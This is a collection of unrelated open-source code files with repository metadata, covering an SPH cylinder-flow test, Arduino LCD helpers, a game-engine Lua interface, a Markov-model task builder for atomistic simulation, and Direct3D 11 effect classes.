[ "liarethnwn@gmail.com" ]
liarethnwn@gmail.com
3765e4ce2f1b3f9bc837931936fb48c0d2c85829
8e56fcfff92a958404834c9ffc599e070ce68c9d
/tests/2d_examples/test_2d_free_stream_around_cylinder_mr/mr_free_stream_around_cylinder.h
44e8c4dc73177f3f7fe675d90a1bb3d812ae5ac4
[ "Apache-2.0" ]
permissive
Xiangyu-Hu/SPHinXsys
723bca41c56792a2d30318e282eb5a3ca6cb63b5
1a06b77685d4687c8f4fa3efe51ef92936f24403
refs/heads/master
2023-08-30T19:42:52.584193
2023-08-30T19:13:56
2023-08-30T19:13:56
189,070,140
229
155
Apache-2.0
2023-09-14T19:34:44
2019-05-28T17:05:34
C++
UTF-8
C++
false
false
5,085
h
/** * @file mr_freestream_flow_around_cylinder.h * @brief We consider a flow pass the cylinder with freestream boundary condition in 2D. * @details Particles with different sizes are used in this test. * @author Xiangyu Hu, Shuoguo Zhang */ #include "sphinxsys.h" using namespace SPH; //---------------------------------------------------------------------- // Basic geometry parameters and numerical setup. //---------------------------------------------------------------------- Real DL = 30.0; /**< Channel length. */ Real DH = 16.0; /**< Channel height. */ Real particle_spacing_ref = 0.4; /**< Initial reference particle spacing. */ Real DL_sponge = particle_spacing_ref * 20.0; /**< Sponge region to impose emitter. */ Real BW = 4.0 * particle_spacing_ref; /**< Sponge region to impose injection. */ Vec2d insert_circle_center(10.0, 0.5 * DH); /**< Location of the cylinder center. */ Real insert_circle_radius = 1.0; /**< Radius of the cylinder. */ // Observation locations Vec2d point_coordinate_1(3.0, 5.0); Vec2d point_coordinate_2(4.0, 5.0); Vec2d point_coordinate_3(5.0, 5.0); StdVec<Vecd> observation_locations = {point_coordinate_1, point_coordinate_2, point_coordinate_3}; //---------------------------------------------------------------------- // Global parameters on the fluid properties //---------------------------------------------------------------------- Real rho0_f = 1.0; /**< Density. */ Real U_f = 1.0; /**< Characteristic velocity. */ Real c_f = 10.0 * U_f; /**< Speed of sound. */ Real Re = 100.0; /**< Reynolds number. */ Real mu_f = rho0_f * U_f * (2.0 * insert_circle_radius) / Re; /**< Dynamics viscosity. */ //---------------------------------------------------------------------- // define geometry of SPH bodies //---------------------------------------------------------------------- std::vector<Vecd> water_block_shape{ Vecd(-DL_sponge, 0.0), Vecd(-DL_sponge, DH), Vecd(DL, DH), Vecd(DL, 0.0), Vecd(-DL_sponge, 0.0)}; std::vector<Vecd> initial_refinement_region{ Vecd(-DL_sponge - BW, 5.0), Vecd(-DL_sponge - BW, 11.0), Vecd(DL + BW, 11.0), Vecd(DL + BW, 5.0), Vecd(-DL_sponge - BW, 5.0)}; Vec2d emitter_halfsize = Vec2d(0.5 * BW, 0.5 * DH); Vec2d emitter_translation = Vec2d(-DL_sponge, 0.0) + emitter_halfsize; Vec2d emitter_buffer_halfsize = Vec2d(0.5 * DL_sponge, 0.5 * DH); Vec2d emitter_buffer_translation = Vec2d(-DL_sponge, 0.0) + emitter_buffer_halfsize; Vec2d disposer_halfsize = Vec2d(0.5 * BW, 0.75 * DH); Vec2d disposer_translation = Vec2d(DL, DH + 0.25 * DH) - disposer_halfsize; //---------------------------------------------------------------------- // Define case dependent geometries //---------------------------------------------------------------------- class WaterBlock : public ComplexShape { public: explicit WaterBlock(const std::string &shape_name) : ComplexShape(shape_name) { MultiPolygon outer_boundary(water_block_shape); add<MultiPolygonShape>(outer_boundary, "OuterBoundary"); MultiPolygon circle(insert_circle_center, insert_circle_radius, 100); subtract<MultiPolygonShape>(circle); } }; class Cylinder : public MultiPolygonShape { public: explicit Cylinder(const std::string &shape_name) : MultiPolygonShape(shape_name) { multi_polygon_.addACircle(insert_circle_center, insert_circle_radius, 100, ShapeBooleanOps::add); } }; //---------------------------------------------------------------------- // Free-stream velocity //---------------------------------------------------------------------- struct FreeStreamVelocity { Real u_ref_, t_ref_; template <class BoundaryConditionType> FreeStreamVelocity(BoundaryConditionType &boundary_condition) : u_ref_(U_f), t_ref_(2.0) {} Vecd operator()(Vecd &position, Vecd &velocity) { Vecd target_velocity = Vecd::Zero(); Real run_time = GlobalStaticVariables::physical_time_; target_velocity[0] = run_time < t_ref_ ? 0.5 * u_ref_ * (1.0 - cos(Pi * run_time / t_ref_)) : u_ref_; return target_velocity; } }; //---------------------------------------------------------------------- // Define time dependent acceleration in x-direction //---------------------------------------------------------------------- class TimeDependentAcceleration : public Gravity { Real t_ref_, u_ref_, du_ave_dt_; public: explicit TimeDependentAcceleration(Vecd gravity_vector) : Gravity(gravity_vector), t_ref_(2.0), u_ref_(U_f), du_ave_dt_(0) {} virtual Vecd InducedAcceleration(Vecd &position) override { Real run_time_ = GlobalStaticVariables::physical_time_; du_ave_dt_ = 0.5 * u_ref_ * (Pi / t_ref_) * sin(Pi * run_time_ / t_ref_); return run_time_ < t_ref_ ? Vecd(du_ave_dt_, 0.0) : global_acceleration_; } };
[ "xiangyu.hu@tum.de" ]
xiangyu.hu@tum.de
4c57422e0009423b7471491a6226f6af1f3cbccf
0db59776e129ddd7e708f43e1157c1308ac317cf
/Lcd_writes.ino
cd9d0e3c233359e35f4c1a430a90369a8ba0dd86
[]
no_license
gjholman/RBE-2001
cdb70cd9a404d8d435ab79545ea185f88cf49397
253d27cf2f2b50eda3ad3e73114e294e2bd9d92b
refs/heads/master
2021-01-20T05:43:33.972669
2017-04-29T17:38:06
2017-04-29T17:38:06
89,801,842
0
0
null
null
null
null
UTF-8
C++
false
false
2,148
ino
/* * use these to write integers and strings to the LCD as needed */ //writes the given string to the lcd in the given location void writeStrLCD(String s, int x, int y){ lcd.setCursor(x,y); lcd.print(s); } //writes the given integer to the lcd in the given location void writeIntLCD(int s, int x, int y){ lcd.setCursor(x,y); lcd.print(s); } //for use with the lineFollowProgram. This will print the current //state (on/off the line) to the lcd and the serial monitor void printLineStates(){ switch (integerState) { case 0: Serial.println("Forward"); //drive the robot forwards writeStrLCD("Forward ", 0, 1); break; case 4: Serial.println("goLeft"); writeStrLCD("goLeft ", 0, 1); break; //turn the robot slightly to the left case 1: Serial.println("goRight"); writeStrLCD("goRight ", 0, 1); break; //turn the robot slightly to the right case 5: Serial.println("atIntersect"); //robot is at an intersection, either stop or count it? writeStrLCD("atIntersect", 0, 1); break; default: Serial.println("No state"); break; } } //prints the destination value of the robot cleanly void printDestination(int x, int y){ if (destinationCount < 0) { writeIntLCD(destinationCount, x, y); } else { writeStrLCD(" ", 13, 1); writeIntLCD(destinationCount, x+1, y); } } //pritns the stage in the navigation, the value of the front limit switch and the number of inersections counted void printGoToStorageInfo(){ printStage(stageDS); writeStrLCD("AStor: ", 7,1); writeIntLCD(activeStorage, 13,1); writeStrLCD("DCnt: ",0,0); writeIntLCD(destinationCount, 7,0); writeStrLCD("Cnt: ", 10,0); writeIntLCD(countInter, 15,0); } //prints the stage of the robot in the bottom left corner void printStage(int stage){ writeStrLCD("Stg: ",0,1); writeIntLCD(stage,5,1); } //empties the top line of the screen void clearTopLine(){ writeStrLCD(" ",0,0); } //empties the bottom line of the screen void clearBottomLine(){ writeStrLCD(" ",0,0); }
[ "fadoodlebob@Garrett-Holmans-MacBook-Pro.local" ]
fadoodlebob@Garrett-Holmans-MacBook-Pro.local
5ed0d350fe5eb9c626c8f948c5df5fb4fa8dc3eb
21053307a43db79b795048df3112cd18f90edcab
/Source/Include/Script/Interface/ObjectComponentInterface.h
ae52687424d94998169be8268f61aa3054dc0e17
[ "FTL", "Libpng", "BSD-3-Clause", "Zlib", "LicenseRef-scancode-unknown-license-reference", "MIT", "LicenseRef-scancode-happy-bunny", "LicenseRef-scancode-public-domain", "LicenseRef-scancode-warranty-disclaimer" ]
permissive
cappah/NekoEngine
77b60ab458d6f2ff4b67e687007002744630b6f4
22d66bcfa6bb4d82a4c6024abc54a9e2df693f9c
refs/heads/master
2021-07-21T19:50:54.799199
2017-10-29T01:06:40
2017-10-29T01:06:40
null
0
0
null
null
null
null
UTF-8
C++
false
false
2,070
h
/* NekoEngine * * ObjectComponentInterface.h * Author: Alexandru Naiman * * ObjectComponent script interface * * ----------------------------------------------------------------------------- * * Copyright (c) 2015-2017, Alexandru Naiman * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * 3. Neither the name of the copyright holder nor the names of its contributors * may be used to endorse or promote products derived from this software without * specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY ALEXANDRU NAIMAN "AS IS" AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL ALEXANDRU NAIMAN BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, * OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #pragma once #include <Script/Script.h> class ObjectComponentInterface { public: static void Register(lua_State *state); static int GetParent(lua_State *state); static int Load(lua_State *state); static int InitializeComponent(lua_State *state); static int Enable(lua_State *state); static int IsEnabled(lua_State *state); };
[ "alexandru.naiman@icloud.com" ]
alexandru.naiman@icloud.com
7ed8841791e4e7f99bbe07a381c0b744ba735586
eba72c6689d3078740458f843b90afd603dcfbde
/tammber-core/PullMMbuilder.hpp
51b0c8d86256b45615404f859b80e6fb319543ce
[ "BSD-2-Clause" ]
permissive
tomswinburne/tammber
a628044104ff0e38d6eddac4120cc2e4db2186d9
5abf918535423adb75b271133970552a755d48a1
refs/heads/main
2023-06-08T13:38:53.511085
2023-03-26T22:13:18
2023-03-26T22:13:18
319,592,424
9
2
NOASSERTION
2021-08-24T16:10:47
2020-12-08T09:42:19
C++
UTF-8
C++
false
false
15,187
hpp
/* Copyright (c) 2016, Los Alamos National Security, LLC All rights reserved. Copyright 2016. Los Alamos National Security, LLC. This software was produced under U.S. Government contract DE-AC52-06NA25396 for Los Alamos National Laboratory (LANL), which is operated by Los Alamos National Security, LLC for the U.S. Department of Energy. The U.S. Government has rights to use, reproduce, and distribute this software. NEITHER THE GOVERNMENT NOR LOS ALAMOS NATIONAL SECURITY, LLC MAKES ANY WARRANTY, EXPRESS OR IMPLIED, OR ASSUMES ANY LIABILITY FOR THE USE OF THIS SOFTWARE. If software is modified to produce derivative works, such modified software should be clearly marked, so as not to confuse it with the version available from LANL. Additionally, redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of Los Alamos National Security, LLC, Los Alamos National Laboratory, LANL, the U.S. Government, nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY LOS ALAMOS NATIONAL SECURITY, LLC AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL LOS ALAMOS NATIONAL SECURITY, LLC OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef __Tammber__Builder__ #define __Tammber__Builder__ #include <new> #include <stdio.h> #include <limits> #include <memory> #include <atomic> #include <future> #include <deque> #include <chrono> #include <iostream> #include <fstream> #include <algorithm> #include <string> #include <thread> #include <mpi.h> #include <boost/unordered_set.hpp> #include <boost/unordered_map.hpp> #include <boost/optional.hpp> #include <boost/bimap/bimap.hpp> #include <boost/bimap/unordered_set_of.hpp> #include <boost/bimap/unordered_multiset_of.hpp> #include <boost/bimap/vector_of.hpp> #include <boost/bimap/multiset_of.hpp> #include <boost/bimap/support/lambda.hpp> #include <boost/timer/timer.hpp> #include <boost/multi_index_container.hpp> #include <boost/multi_index/hashed_index.hpp> #include <boost/multi_index/identity.hpp> #include <boost/multi_index/sequenced_index.hpp> #include <boost/random/random_device.hpp> #include <boost/format.hpp> #include <boost/algorithm/string.hpp> #include <boost/algorithm/string/join.hpp> #include <boost/functional/hash/hash.hpp> #include <boost/archive/text_oarchive.hpp> #include <boost/archive/text_iarchive.hpp> #include <boost/serialization/serialization.hpp> #include <boost/serialization/unordered_map.hpp> #include <boost/serialization/unordered_set.hpp> #include <boost/serialization/list.hpp> #include <boost/filesystem.hpp> #include <boost/optional.hpp> #include <thread> #include "CustomTypedefs.hpp" #include "Types.hpp" #include "TammberTypes.hpp" #include "Task.hpp" #include "Pack.hpp" #include "Constants.hpp" #include "DDS.hpp" #include "TaskManager.hpp" #include "TammberModel.hpp" #include "PullWorkProducer.hpp" #include "Log.hpp" class TammberModelBuilder : public AbstractPullWorkProducer { public: TammberModelBuilder(MPI_Comm comm_,AbstractDDS *sharedStore_, std::set<int> children_, boost::property_tree::ptree &config) : AbstractPullWorkProducer(comm_,sharedStore_,children_,config){ LOGGER("TammberModelBuilder : public AbstractPullWorkProducer") carryOverTime=0; jobcount = 0; uint64_t sharedBufferSize=config.get<uint64_t>("Configuration.MarkovModel.SharedCacheSize",1000000000); sharedStore->setMaximumBufferSize(sharedBufferSize); bool rs=false; if(boost::filesystem::exists("./TammberModel.chk")) { rs=true; std::ifstream ifs("TammberModel.chk"); boost::archive::text_iarchive ia(ifs); // read class state from archive ia >> *this; } //initialize from config data //batchSize=config.get<unsigned>("Configuration.MarkovModel.PredictionSize",nWorkers_); maxTaskMesgSize=config.get<int>("Configuration.MaximumTaskMesgSize",1000000); reportDelay=std::chrono::milliseconds( config.get<unsigned>("Configuration.MarkovModel.ReportDelay",10000) ); checkpointDelay=std::chrono::milliseconds( config.get<unsigned>("Configuration.MarkovModel.CheckpointDelay",100000) ); initialConfigurationString=config.get<std::string>("Configuration.InitialConfigurations"); defaultFlavor=config.get<int>("Configuration.TaskParameters.DefaultFlavor", 0); nebonly = config.get<int>("Configuration.MarkovModel.OnlyNEBS",false); deleteVertex = config.get<uint64_t>("Configuration.MarkovModel.DeleteVertex",0); //nstd::cout<<"NEBONLY: "<<nebonly<<std::endl; // initialConfigurations boost::split(initialConfigurations,initialConfigurationString,boost::is_any_of(" ")); // initialize the model markovModel.initialize(config,rs); }; template<class Archive> void save(Archive & ar, const unsigned int version) const { // note, version is always the latest when saving long int co=std::chrono::duration_cast<std::chrono::seconds>(std::chrono::high_resolution_clock::now()-start).count()+carryOverTime; ar & jobcount; ar & co; ar & markovModel; }; template<class Archive> void load(Archive & ar, const unsigned int version){ ar & jobcount; ar & carryOverTime; ar & markovModel; }; BOOST_SERIALIZATION_SPLIT_MEMBER() virtual void initialize(){ LOGGER("PullMMbuilder::initialize()") initialized=false; initializeSystems(); initialized=true; }; void initializeSystems() { LOGGER("PullMMbuilder::initializeSystems()") std::string testfn; for(auto initialConfiguration : initialConfigurations) { boost::trim(initialConfiguration); LOGGER("PullMMbuilder::initializeSystems() : loading "<<initialConfiguration) if(initialConfiguration.length()==0) continue; TaskDescriptor task; task.type=mapper.type("TASK_INIT_MIN"); task.flavor=jobcount++; task.optional=false; task.imposeOrdering=false; task.nInstances=1; task.id=jobcount++; insert("Filename",task.arguments,initialConfiguration); extract("Filename",task.arguments,testfn); LOGGERA("REQUESTING "<<testfn) taskQueue.insert(task); LOGGERA("IN TQ: "<<taskQueue.count()) } std::list<GenericTask> tasks; int counts=0, prev_counts=0, total_counts=initialConfigurations.size(); std::chrono::high_resolution_clock::time_point now,FirstLog,LastLog; std::chrono::milliseconds LogDelay,MaxDelay; LogDelay = std::chrono::milliseconds(1000); // 1s MaxDelay = std::chrono::milliseconds(60000); // 60s now = std::chrono::high_resolution_clock::now(); FirstLog = now; LastLog = now; while(counts<initialConfigurations.size()) { processSend(); processRecv(); prev_counts = tasks.size(); ready.extract(mapper.type("TASK_INIT_MIN"),tasks); counts += tasks.size() - prev_counts; now = std::chrono::high_resolution_clock::now(); if(now - LastLog > LogDelay || tasks.size()>prev_counts) { LOGGER("PullMMbuilder::initializeSystems() : "<<counts<<"/"<<total_counts) LastLog = now; } if(now - FirstLog > MaxDelay && tasks.size()>0) break; } LOGGER("PullMMbuilder::initializeSystems() : received "<<tasks.size()<<" tasks") for(auto &tt: tasks) { LabelPair labels; double energy; std::array<double,3> position = {0.,0.,0.}; std::set<PointShiftSymmetry> self_symmetries; PointShiftSymmetry null; self_symmetries.insert(null); int clusters=1; extract("Labels",tt.returns,labels); extract("Energy",tt.returns,energy); extract("Clusters",tt.returns,clusters); extract("Position",tt.returns,position); LOGGERA("LABELS: "<<labels.first<<" "<<labels.second<<" E:"<<energy <<"eV, Clusters:"<<clusters <<" Position:"<<position[0]<<" "<<position[1]<<" "<<position[2]) #ifdef ISOMORPHIC extract("SelfSymmetries",tt.returns,self_symmetries); LOGGERA("SelfSymmetries:") for(auto ss:self_symmetries) LOGGERA(ss.info_str()); #endif markovModel.add_vertex(labels,energy,clusters,position,self_symmetries); } LOGGERA(markovModel.info_str()<<"\nINIT DONE") }; virtual void processCompletedTasks(){ LOGGER("PullMMbuilder::processCompletedTasks()") //process the completed results // LOGGER("PullMMbuilder::processCompletedTasks PROCESSING "<<ready.size()<<" TASKS") for(auto &seg: ready.segments) { LOGGER("ADDING SEGMENT: "<<seg.info_str()) markovModel.add_segment(seg); } ready.segments.clear(); for(auto &path: ready.pathways) { LOGGER("PullMMbuilder::processCompletedTasks ADDING PATHWAY: "<<path.info_str()) markovModel.add_pathway(path); } ready.pathways.clear(); LOGGER("END PullMMbuilder::processCompletedTasks()") }; virtual void report_impl(){ LOGGER("PullMMbuilder::report_impl()") //report at given intervals { Timer t; LOGGER(std::chrono::duration_cast<std::chrono::seconds>(std::chrono::high_resolution_clock::now()-start).count()+carryOverTime) LOGGERA(markovModel.info_str()) LOGGERA("PREDICTION WITH 100 WORKERS :") std::list<TADjob> jobs; markovModel.generateTADs(jobs,100,true); completedTasks.report(); LOGGERA("In TaskQueue: "<<taskQueue.count()) } }; virtual void full_print(bool model) { LOGGER("PullMMbuilder::full_print()") // Save XML file if(deleteVertex!=0) { LOGGERA("PullMMbuilder::full_print DELETING "<<deleteVertex) markovModel.deleteVertex(deleteVertex); { std::ofstream ofs("./TammberModelNew.chk"); { boost::archive::text_oarchive oa(ofs); oa << *this; } } } // Print analysis to screen LOGGERA(markovModel.info_str(true)) if(model) markovModel.write_model("MarkovModel.xml"); std::list<TADjob> jobs; LOGGERA("PREDICTION WITH 100 WORKERS :") markovModel.generateTADs(jobs,100,true); }; virtual void checkpoint_impl() { LOGGER("PullMMbuilder::checkpoint_impl()") //checkpoint at given intervals { std::ofstream ofs("./TammberModel.chk"); // save data to archive { boost::archive::text_oarchive oa(ofs); // write class instance to archive //this is done by boost serialization, through a call to the save method of PullSplicer (see above). oa << *this; // archive and stream closed when destructors are called } } }; virtual TaskDescriptorBundle generateTasks(int consumerID, int nTasks){ LOGGER("PullMMbuilder::generateTasks : GENERATING "<<nTasks<<" TASKS, SPLICER TQ: "<<taskQueue.count()) TaskDescriptorBundle tasks; TaskDescriptor task; //get the "global" tasks first taskQueue.transferTo(tasks,nTasks); int batchSize=tasks.count(); LOGGER("PullMMbuilder::generateTasks : batchSize="<<batchSize<<", nTasks="<<nTasks<<", initialized:"<<initialized) if (batchSize>=nTasks || not initialized) return tasks; LOGGER("PullMMbuilder::generateTasks : initialized && batchSize<=nTasks") std::list<NEBjob> nebs; markovModel.generateNEBs(nebs,nTasks-batchSize); for(auto neb=nebs.begin(); neb!=nebs.end();) { task.type=mapper.type("TASK_NEB"); task.imposeOrdering=false; task.optional=false; task.clearInputs(); task.nInstances=1; task.producer=0; task.id=jobcount++; task.flavor=defaultFlavor; NEBPathway pathway; pathway.InitialLabels = neb->TargetTransition.first; pathway.FinalLabels = neb->TargetTransition.second; pathway.pairmap=false; pathway.InitialSymmetries = neb->InitialSymmetries; pathway.FinalSymmetries = neb->FinalSymmetries; LOGGER("PullMMbuilder::generateTasks : SUBMITTING PATHWAY FOR NEB "<<pathway.submit_info_str()) if(neb->ExistingPairs.size()>0) { LOGGER("ExistingPairs: \n") for (auto epl: neb->ExistingPairs) LOGGER(neb->TargetTransition.first.first<<","<<epl.first<<" -> "<<neb->TargetTransition.second.first<<","<<epl.second<<"\n") } insert("Initial",neb->TargetTransition.first.second,LOCATION_SYSTEM_MIN,true,NECESSITY::REQUIRED,task.inputData); insert("Final",neb->TargetTransition.second.second,LOCATION_SYSTEM_MIN,true,NECESSITY::REQUIRED,task.inputData); for(auto epl: neb->ExistingPairs) { insert("ExistingPairs",epl.first,LOCATION_SYSTEM_MIN,true,NECESSITY::REQUIRED,task.inputData); insert("ExistingPairs",epl.second,LOCATION_SYSTEM_MIN,true,NECESSITY::REQUIRED,task.inputData); pathway.compared_transitions.push_back(epl); } insert("NEBPathway",task.arguments,pathway); tasks.insert(task); neb = nebs.erase(neb); batchSize++; if (batchSize>=nTasks) return tasks; } if(nebonly) return tasks; //taskQueue.transferTo(tasks,nTasks-batchSize); //batchSize=tasks.count(); std::list<TADjob> tads; #ifdef VERBOSE markovModel.generateTADs(tads,nTasks-batchSize,true); #else markovModel.generateTADs(tads,nTasks-batchSize,false); #endif task.type=mapper.type("TASK_SEGMENT"); task.imposeOrdering=true; task.optional=true; for(auto tad=tads.begin(); tad!=tads.end();) { task.clearInputs(); task.nInstances=tad->nInstances; task.producer=0; task.id=jobcount++; task.flavor=defaultFlavor; TADSegment segment; segment.InitialLabels = tad->InitialLabels; segment.temperature = tad->temperature; for(auto bl: tad->BasinLabels) segment.BasinLabels.insert(bl); LOGGER("PullMMbuilder::generateTasks : SUBMITTING SEGMENT "<<segment.submit_info_str()) bool ProductionRun=true; // not debug run insert("ProductionRun",task.arguments,ProductionRun); insert("TADSegment",task.arguments,segment); insert("Minimum",tad->InitialLabels.second,LOCATION_SYSTEM_MIN,true,NECESSITY::REQUIRED,task.inputData); std::string qsdstr = "QSD"+std::to_string(int(tad->temperature)); insert(qsdstr,tad->InitialLabels.second,task.flavor,false,NECESSITY::OPTIONAL,task.inputData); LOGGER("PullMMbuilder::generateTasks : ADDING "<<task.nInstances<<" OF TASK "<<mapper.type(task.type)<<" "<<task.type) tasks.insert(task); tad = tads.erase(tad); batchSize += task.nInstances; if (batchSize>=nTasks) return tasks; } LOGGER("PullMMbuilder::generateTasks : SPLICER TQ: "<<taskQueue.count()) return tasks; }; protected: TaskDescriptorBundle taskQueue; TammberModel markovModel; std::string initialConfigurationString; std::vector<std::string> initialConfigurations; unsigned long carryOverTime; unsigned long jobcount; unsigned batchSize; int defaultFlavor; bool nebonly; Label deleteVertex; std::map< std::pair<int,int>, std::map<std::string,std::string> > taskParameters; //std::ofstream outTime; bool initialized, OnlyNEBS; }; #endif
[ "tomswinburne@gmail.com" ]
tomswinburne@gmail.com
ab96c1b75bd0d26a0bcb8784350375fb8871e9b7
b79b91b68f50a3e27e46314e4b04eee210997e4d
/Jaraffe/Engine/Source/D3D11/Effect.h
9b9a466364ab953b769491a8071ca9fdb52f0ec3
[]
no_license
ChoiYoungMin/Jaraffe
bfc983b54137d2af30521bdda92da08a4ce3e007
294b3bf56d2d540d6039e096e3dcdfdee4e15b3c
refs/heads/master
2021-01-15T17:36:24.918398
2016-06-17T13:19:53
2016-06-17T13:19:53
62,026,749
2
0
null
2016-06-27T05:02:03
2016-06-27T05:02:02
null
UTF-8
C++
false
false
2,653
h
#pragma once namespace Jaraffe { #pragma region Effect class Effect { public: Effect(ID3D11Device* device, const std::wstring& filename); virtual ~Effect(); private: Effect(const Effect& rhs); Effect& operator=(const Effect& rhs); protected: ID3DX11Effect* mFX; }; #pragma endregion #pragma region SimpleEffect class SimpleEffect : public Effect { public: SimpleEffect(ID3D11Device* device, const std::wstring& filename); virtual ~SimpleEffect(); // Get,Set Func void SetWorldViewProj(CXMMATRIX M) { WorldViewProj->SetMatrix(reinterpret_cast<const float*>(&M)); } // Techniques ID3DX11EffectTechnique* ColorTech; // Constant Values ID3DX11EffectMatrixVariable* WorldViewProj; }; #pragma endregion #pragma region BasicEffect class BasicEffect : public Effect { public: BasicEffect(ID3D11Device* device, const std::wstring& filename); virtual ~BasicEffect(); void SetWorldViewProj(CXMMATRIX M) { WorldViewProj->SetMatrix(reinterpret_cast<const float*>(&M)); } void SetWorld(CXMMATRIX M) { World->SetMatrix(reinterpret_cast<const float*>(&M)); } void SetWorldInvTranspose(CXMMATRIX M) { WorldInvTranspose->SetMatrix(reinterpret_cast<const float*>(&M)); } void SetTexTransform(CXMMATRIX M) { TexTransform->SetMatrix(reinterpret_cast<const float*>(&M)); } void SetEyePosW(const XMFLOAT3& v) { EyePosW->SetRawValue(&v, 0, sizeof(XMFLOAT3)); } void SetDirLights(const Jaraffe::Light::DirectionalLight* lights) { DirLights->SetRawValue(lights, 0, 3 * sizeof(Jaraffe::Light::DirectionalLight)); } void SetMaterial(const Jaraffe::Light::Material& mat) { Mat->SetRawValue(&mat, 0, sizeof(Jaraffe::Light::Material)); } void SetDiffuseMap(ID3D11ShaderResourceView* tex) { DiffuseMap->SetResource(tex); } void SetTime(const float& f) { Time->SetFloat(f); } ID3DX11EffectTechnique* Light1Tech; ID3DX11EffectTechnique* Light2Tech; ID3DX11EffectTechnique* Light3Tech; ID3DX11EffectTechnique* Light0TexTech; ID3DX11EffectTechnique* Light1TexTech; ID3DX11EffectTechnique* Light2TexTech; ID3DX11EffectTechnique* Light3TexTech; ID3DX11EffectMatrixVariable* WorldViewProj; ID3DX11EffectMatrixVariable* World; ID3DX11EffectMatrixVariable* WorldInvTranspose; ID3DX11EffectMatrixVariable* TexTransform; ID3DX11EffectVectorVariable* EyePosW; ID3DX11EffectVariable* DirLights; ID3DX11EffectVariable* Mat; ID3DX11EffectScalarVariable* Time; ID3DX11EffectShaderResourceVariable* DiffuseMap; }; #pragma endregion #pragma region Effects class Effects { public: static void InitAll(ID3D11Device* device); static void DestroyAll(); static SimpleEffect* SimpleFX; static BasicEffect* BasicFX; }; #pragma endregion }
[ "ccm1333@naver.com" ]
ccm1333@naver.com
34c562d242308466c9fd41d17b8e41aec1e93409
c985f7a772751fc89f79f25fc4881bfc7abbbb2d
/src/debug/InfoViewer.h
8ec91a32546d0900f6b4256a76fd43fd7951fb7c
[]
no_license
underdoeg/ofxBoxModel
2517a5cb641eea32e3bc11ef7e78312a9e8d47b5
1ef3fc2ce5735c65e64130d63137be81614c5581
refs/heads/master
2020-09-13T10:59:35.029360
2014-08-11T20:23:20
2014-08-11T20:23:20
null
0
0
null
null
null
null
UTF-8
C++
false
false
585
h
#ifndef INFOVIEWER_H #define INFOVIEWER_H #include "boxes/Box.h" #include "boxes/Texts.h" namespace boxModel { namespace debug { class InfoViewer: public boxModel::boxes::Box { public: InfoViewer(); ~InfoViewer(); void setComponentContainer(core::ComponentContainer* container); string getType(); private: void addInfoForComponent(core::Component* component); core::ComponentContainer* container; std::map<std::string, boxes::H2*> componentNames; std::map<std::string, boxes::H3*> infoNames; std::map<std::string, boxes::TextBox*> infos; }; } } #endif // INFOVIEWER_H
[ "public@underdoeg.com" ]
public@underdoeg.com
8dd48661ca9129429b95654e3d0169a9133059b3
597328a4220a0297dcfe052b6082c51c203219f2
/src/graphics/Renderer.h
9798f0ac10e76d84f7b23c90697280b293100a86
[]
no_license
lakenoah17/Asteroids
ceb94c6d572041ddefd149a8b819db417c907e88
10d7ea1232409a6f40f79634347149a7d1ae1640
refs/heads/master
2023-02-27T03:48:04.427302
2021-02-03T23:58:59
2021-02-03T23:58:59
310,201,329
0
0
null
null
null
null
UTF-8
C++
false
false
1,695
h
